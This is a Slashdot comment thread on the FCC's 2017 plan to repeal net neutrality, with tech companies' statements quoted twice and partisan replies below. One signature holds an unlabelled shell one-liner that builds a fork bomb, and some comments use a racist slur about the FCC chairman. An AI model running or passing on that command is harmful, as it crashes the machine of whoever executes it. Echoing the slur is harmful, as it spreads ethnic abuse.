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'We Are Disappointed': Tech Companies Speak Up Against the FCC's Plan To Kill Net Neutrality (businessinsider.com)
An anonymous reader shares a report from Business Insider: The FCC is planning to kill net neutrality -- and some tech companies are starting to speak out. Pro-net neutrality activists, who argue the principle creates a level playing-field online, are up in arms about the plan. And some tech companies are now speaking out in support of net neutrality as well, from Facebook to Netflix. Business Insider reached out to some of the biggest tech firms in America today to ask for their reaction to the FCC's plan. Their initial responses are below, and we will continue to update this post as more come in.
Facebook's vice-president of U.S. public policy, Erin Egan, said: "We are disappointed that the proposal announced today by the FCC fails to maintain the strong net neutrality protections that will ensure the internet remains open for everyone. We will work with all stakeholders committed to this principle."
Google spokesperson: "The FCC's net neutrality rules are working well for consumers and we're disappointed in the proposal announced today."
Netflix via a tweet: "Netflix supports strong #NetNeutrality. We oppose the FCC's proposal to roll back these core protections." [...] "We've been supporting for years thru IA and Day to Save Net Neutrality with a banner on Netflix homepage for all users. More info in Q4 2016 earnings letter, as well. This current draft order hasn't been officially voted, so we're lodging our opposition publicly and loudly now."
Reddit spokesperson: "Reddit is actively monitoring the FCC's proposed rule changes that could dismantle net neutrality as we know it. From farmers in South Dakota to musicians in Kentucky to small business owners in Utah, net neutrality is just as important to redditors as it is to Reddit and we will continue to advocate for and work constructively to maintain a free and open Internet. It is crucial to innovation and the health of our economy that small businesses have equal access to the internet, with winners and losers chosen by consumers, not ISPs."
The Internet Association, an industry body whose members include Amazon, Dropbox, Ebay, Facebook, Google, LinkedIn, Microsoft, Spotify, Uber, and others: "Chairman Pai's proposal, if implemented, represents the end of net neutrality as we know it and defies the will of millions of Americans who support the 2015 Open Internet Order. This proposal undoes nearly two decades of bipartisan agreement on baseline net neutrality principles that protect Americans' ability to access the entire internet. The 2015 Order created bright-line, enforceable net neutrality protections that guarantee consumers access to the entire internet and preserve competition online. This proposal fails to achieve any of these objectives. Consumers have little choice in their ISP, and service providers should not be allowed to use this gatekeeper position at the point of connection to discriminate against websites and apps. Internet Association and our members will continue our work to ensure net neutrality protections remain the law of the land."
Facebook's vice-president of U.S. public policy, Erin Egan, said: "We are disappointed that the proposal announced today by the FCC fails to maintain the strong net neutrality protections that will ensure the internet remains open for everyone. We will work with all stakeholders committed to this principle."
Google spokesperson: "The FCC's net neutrality rules are working well for consumers and we're disappointed in the proposal announced today."
Netflix via a tweet: "Netflix supports strong #NetNeutrality. We oppose the FCC's proposal to roll back these core protections." [...] "We've been supporting for years thru IA and Day to Save Net Neutrality with a banner on Netflix homepage for all users. More info in Q4 2016 earnings letter, as well. This current draft order hasn't been officially voted, so we're lodging our opposition publicly and loudly now."
Reddit spokesperson: "Reddit is actively monitoring the FCC's proposed rule changes that could dismantle net neutrality as we know it. From farmers in South Dakota to musicians in Kentucky to small business owners in Utah, net neutrality is just as important to redditors as it is to Reddit and we will continue to advocate for and work constructively to maintain a free and open Internet. It is crucial to innovation and the health of our economy that small businesses have equal access to the internet, with winners and losers chosen by consumers, not ISPs."
The Internet Association, an industry body whose members include Amazon, Dropbox, Ebay, Facebook, Google, LinkedIn, Microsoft, Spotify, Uber, and others: "Chairman Pai's proposal, if implemented, represents the end of net neutrality as we know it and defies the will of millions of Americans who support the 2015 Open Internet Order. This proposal undoes nearly two decades of bipartisan agreement on baseline net neutrality principles that protect Americans' ability to access the entire internet. The 2015 Order created bright-line, enforceable net neutrality protections that guarantee consumers access to the entire internet and preserve competition online. This proposal fails to achieve any of these objectives. Consumers have little choice in their ISP, and service providers should not be allowed to use this gatekeeper position at the point of connection to discriminate against websites and apps. Internet Association and our members will continue our work to ensure net neutrality protections remain the law of the land."
Pro-net neutrality activists, who argue the principle creates a level playing-field online, are up in arms about the plan. And some tech companies are now speaking out in support of net neutrality
Donald Trump -- the guy who gets to appoint the FCC commissioners -- said he was opposed to Net Neutrality when he first started running for president. The third-world goat-herder who is now the head of the FCC openly opposed Net Neutrality when the rules were instituted two years ago.
And you're just now "disappointed"? Where the fuck have you been for the last two years?
The regulations are only 400 pages long at this point, pretty sure that firing the entire thing into the sun and restarting from scratch is the best thing that can happen for US internet users at this point.
Might I suggest that you beat the corporations with tungsten bars, then bind them with silver to keep them away and fucking this all up again? Then take a page out of the playbook from the CRTC and create plain simple rules.
Om, nomnomnom...
Love him, hate him or don't give a damn about him, Weev made some great points against the policy, the best one of which is: Many of the companies screaming the loudest are the biggest advocates of censorship. (Then there is the fact that as he rightly points out no one is stopping state and local monopolistic practices)
Of course they don't call it that. They pretend that it's some balance to protect civility, feelings and ensure that cowards are not driven to silence by hearing disagreement, but that is precisely what it is. Censorship.
And one of the greatest ironies of the whole issue is that the sort of people who love to throw this XKCD comic out there are the ones shitting themselves the hardest at the idea that ISPs might take their platform away, but when it is GoogleFacebookTwitterYouTube doing it we are invited to a lecture on how we are not entitled to a soapbox.
by refusing to approve this asswipe's new term on the commission (which passed earlier this year, and denying his new term would have ended is chairmanship as well), and refusing to approve the appointment of a replacement until trump himself is replaced.
Since the political system ensures politicians need LOTS of money if they want to have at least a remote chance of being elected, this basically means that corporations decide what you can vote for.
Essentially, your choice is whether you want this corporate shill that is in the pockets of corporations A, B and C to rule you, or whether you want that corporate shill in the pockets of corporations B, C and D to be it.
Yes, of course corporations buy both sides. There is no zero, so playing rouge et noir has no drawbacks, since the game is also rigged and doesn't only pay out 1 for 1.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
This is simply more legislation that helps a few at the expense of the many.
Party line item issues like net neutrality are, and always have been, planks that political platforms are constructive of. Record voter turnout in 2012 (63.6% of eligible voters) was only slightly down in the 2016 election cycle (61.4%), so we can't blame voter malaise; perhaps the two-party system itself is becoming untenable. I suspect even the most ardent supporters of party line voting have some difficulty agreeing with every tenet proffered by an individual party line.
Perhaps it's time to cease defending your voting choice as the lesser of the two evils and demand more from our governors. Until there is a legitimate threat to the illusion of choice administered by the Big Two, these freedoms we too often take for granted will continue to find themselves at the whim of a pen stroke of the next administration.
Happiness in intelligent people is the rarest thing I know.
Ernest Hemingway
So ISPs can now demand money from websites to permit those companies to have access to the ISPs customers. i.e. double selling, selling the connection to the customer AND selling the same connection to the website.
i.e. they can selectively censor websites in order to demand money from those website, aka tortuous interference in business dressed up as innovation in ISP pricing.
And you are pretending that the websites wanting access are the ones censoring the internet, aka the "accuse the accuser of the same thing" approach. Well at least you accuse Google of being one, but this applies to every website with money.
When exactly did the Republicans become anti-business, anti-free trade, Putin apparatchiks? Their position seems very fluid.
This is oil, coal, gasoline, cable-tv, landline telephone era money triumphing, yet again the old money won. Respecting the 'democratic process' and then being 'disappointed' when you get walked over by people who just went and bought the right politicians won't get you anywhere. Maybe the new money should learn from the old money, take the gloves off and start fighting back? I'm not saying that they should go the way of citizens united and bribe people left right and centre but how about putting some money into political campaigns to boost reform minded candidates out to clean up congress. Personally I would not even care what the party affiliations of reform candidates are as long as they want to put an end to the corruption.
From /r/askaconservative:
Alternative Right.
The third-world goat-herder who is now the head of the FCC
Wow, brazen racism and elitism. Of course, it's ok because it's targetted at someone who disagrees with your "right-think" ? This is part of the reason Trump got elected in the first place.
"Not to mention all the idiots who use words like boxen."
Anonymous Coward on Monday August 04, @06:49PM
https://www.huffingtonpost.com/timothy-karr/net-blocking-a-problem-in_b_5695997.html
MADISON RIVER: In 2005, North Carolina ISP Madison River Communications blocked the voice-over-Internet protocol (VOIP) service Vonage.
COMCAST: In 2005, the nation’s largest Internet provider, Comcast, began secretly blocking peer-to-peer technologies
TELUS: In 2005, Canada’s second largest telecommunications company, Telus, began blocking access to a server that hosted a website supporting a labor strike against the company
AT&T: From 2007-2009, AT&T forced Apple to block Skype and other competing VOIP phone services
T&T, SPRINT & VERIZON: From 2011-2013, AT&T, Sprint and Verizon blocked Google Wallet, a mobile payment system that competed with a similar service called Isis,
VERIZON: In 2012, the FCC caught Verizon Wireless blocking people from using tethering
These are just the things they did WHEN FCC regulated net neutrality in one way or another. Now its a free for all.
I think back several years ago and...
1. Google still paid lip service to "don't be evil" (including manipulating search results for political reasons).
2. Twitter was much more diverse in opinion.
3. No one except truly dangerous people were getting banned from Facebook nor were posts known to disappear if they disagreed with Facebook's corporate culture.
As Weev pointed out, this about getting preferential treatment to push high volumes of data. Only Comcast is both evil and stupid enough to impose preferential treatment on http traffic.
The third-world goat-herder who is now the head of the FCC
I bet the people here who say tell you not to listen to Weev because he's a racist won't have a problem with this. Even though Ajit Pai was actually born in the USA and neither he nor his parents were 'goat herders'.
https://en.wikipedia.org/wiki/...
The son of Konkani immigrants from India, Pai was born on January 10, 1973, in Buffalo, New York. He grew up in rural Parsons, Kansas. Both of his parents were doctors at the county hospital.
Pai attended Harvard University where he participated in the Harvard Speech & Parliamentary Debate Society. He earned a B.A. with honors in Social Studies from Harvard in 1994 and a J.D. from the University of Chicago in 1997, where he was an editor of the University of Chicago Law Review and won the Thomas J. Mulroy Prize.
Which shows that racism is not actually a bad thing to them, they just use accusations of it as an ad hominem argument to attack people they disagree with rather than addressing the arguments those people make.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You're just now realising that the Republicans and conservative idealogy in general is about reducing the state's control and power over the Governed ? The whole of Trump's campaign and his accomplishments as a President have been about reducing the amount of regulation and the power of the Federal apparatus, in favor of more local control.
The reasoning being : the people of New York shouldn't get to interfere and meddle in the affairs of the people in Arizona. You're not paying attention or understanding the policies if you've just now realised that "Big Government" is what Trump wants to tear down.
Net Neutrality, in the form of the FCC using Title II status for Internet Service Providers, is a blatant example. What we wanted :
- No blocking
- No Throttling
- No Paid Prioritization
What we got :
https://apps.fcc.gov/edocs_pub...
Close to 600 paragraphs of rules and regulations, and shoving ISPs into Title II FCC regulations. If you check the last few pages of the PDF, it is a dissent from the Commissioner of the FCC, Michael Orielly. This commissionner is an Obama appointee, so not some GOP or Trump crony, and yet he states very clear that the current legislation is massive overreach and goes counter to what Net Neutrality should be.
I for one support Net Neutrality, but I don't support massive government regulation gone wild. Try to even find a single article about Net Neutrality that offers a balanced viewpoint about what is really going on. You won't. The MSM is using you as pawns to keep Big Government going.
"Not to mention all the idiots who use words like boxen."
Anonymous Coward on Monday August 04, @06:49PM
Please, think of the goats!
I'm sure the goats prefer those with smaller hands.
Q: Why do shepherds wear flowing robes?
A: Because sheep can hear a zipper from a mile away.
This is completely confused. Net neutrality helps make more competition on the other end, the websites and other similar organizations. The idea that a lack of government regulation will necessarily lead to fewer monopolies is also wrong in general; often government intervention is needed to prevent the rise of monopolies. That's the whole point of anti-trust regulations. The canonical example used by economists is the steel mill; making new steel mills takes a massive amount of investment so if there's a steel mill monopoly, it is extremely hard for it to be disrupted by any new entries. Conservatives a decade ago understood this fine, and supported net neutrality. So often the left demonstrates a poor understanding of economics, but on this case, the "conservative" answer is doing a pretty good job at demonstrating that sort of lack of understanding.
Stop this false equivalence nonsense between private censorship and government censorship. Stop it.
https://xkcd.com/1357/
"When information is power, privacy is freedom" - Jah-Wren Ryel
"We Are Disappointed"
Yes, I'm sure this tepid statement will convince the international mega-conglomerates to cancel their plans for world domination in order to avoid hurting the feelings of these tech companies.
Just cruising through this digital world at 33 1/3 rpm...
what is needed is more competition, which is always thwarted by government regulation.
That obviously incorrect assumption brings your whole house of cards down.
There are lots of things that are heavily regulated which promote competition. The road network. The phone network. Commerce between states.
In fact, we can see that a lack of regulation is leading to decreased competition in some areas. For example, many people are served by exactly one ISP, so there is exactly zero competition. Yet they have a choice of TV channels because the airwaves are heavily regulated, even to the point where infrastructure must be shared.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
> That traffic shaping has to be consistent across the board and be specific to type of traffic regardless of source and destination.Â
Google, Slashdot, FCC website, and my website all use http to transfer html, css, js, and images.
You're an idiot for thinking that ISPs will be "neutral" about source and destination, that's the rule Ajit Pai is killing. They are definitely going to discriminate based on source and destination because that's how they are going to increase revenues.
Donald Trump
Who?
“He’s not deformed, he’s just drunk!”
My Internet connection in 1997: 56Kbps @ $19.95 / month, capped at 100 MB / month
My Internet connection in 2017: 60Mbps @ $46.95 / month, capped at 200 GB / month
So I'm paying 2.25 times what I did 20 years ago for 2000 times as much data per month, delivered 3000 times faster and I no longer need to tie up a phone line. Prices shown are not adjusted for inflation, BTW.
Il n'y a pas de Planet B.
In order to turn agencies like the FCC around we need to kill off the monsters in the swamp. Trump and all that supported him must be purged and entirely different leadership applied to all agencies.